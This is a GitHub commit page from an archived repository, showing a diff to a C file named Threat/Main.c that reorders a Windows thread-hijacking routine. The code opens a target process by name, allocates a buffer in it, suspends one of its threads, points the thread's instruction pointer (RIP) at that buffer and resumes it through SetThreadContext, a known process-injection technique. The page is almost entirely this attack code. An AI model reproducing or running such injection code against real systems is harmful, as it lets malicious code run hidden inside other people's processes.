Skip to content
This repository was archived by the owner on Feb 18, 2026. It is now read-only.

Commit 32f0884

Browse files
committed
~ | Cleaner code, open process first then allocate before opening thread
1 parent cd570dc commit 32f0884

1 file changed

Lines changed: 15 additions & 13 deletions

File tree

Threat/Main.c

Lines changed: 15 additions & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -174,7 +174,6 @@ static bool OpenTargetThread(t_HijackData *data) {
174174

175175
static bool Hijack(const wchar_t *processName, t_HijackData *data) {
176176
CONTEXT context;
177-
178177
ZeroMemory(&context, sizeof(context));
179178
context.ContextFlags = CONTEXT_FULL;
180179

@@ -185,18 +184,7 @@ static bool Hijack(const wchar_t *processName, t_HijackData *data) {
185184

186185
data->processName = processName;
187186

188-
if (!OpenTargetProcess(data) || !OpenTargetThread(data)) {
189-
return false;
190-
}
191-
192-
if (SuspendThread(data->hThread) == (DWORD)-1) {
193-
printf("[ ERROR ] Failed to suspend thread: %lu", GetLastError());
194-
return false;
195-
}
196-
197-
198-
if (!GetThreadContext(data->hThread, &context)) {
199-
printf("[ ERROR ] Failed to get thread context: %lu", GetLastError());
187+
if (!OpenTargetProcess(data)) {
200188
return false;
201189
}
202190

@@ -225,6 +213,20 @@ static bool Hijack(const wchar_t *processName, t_HijackData *data) {
225213
return false;
226214
}
227215

216+
if (!OpenTargetThread(data)) {
217+
return false;
218+
}
219+
220+
if (SuspendThread(data->hThread) == (DWORD)-1) {
221+
printf("[ ERROR ] Failed to suspend thread: %lu", GetLastError());
222+
return false;
223+
}
224+
225+
if (!GetThreadContext(data->hThread, &context)) {
226+
printf("[ ERROR ] Failed to get thread context: %lu", GetLastError());
227+
return false;
228+
}
229+
228230
context.Rip = (uintptr_t)hijackBuffer;
229231

230232
if (!SetThreadContext(data->hThread, &context)) {

0 commit comments

Comments
 (0)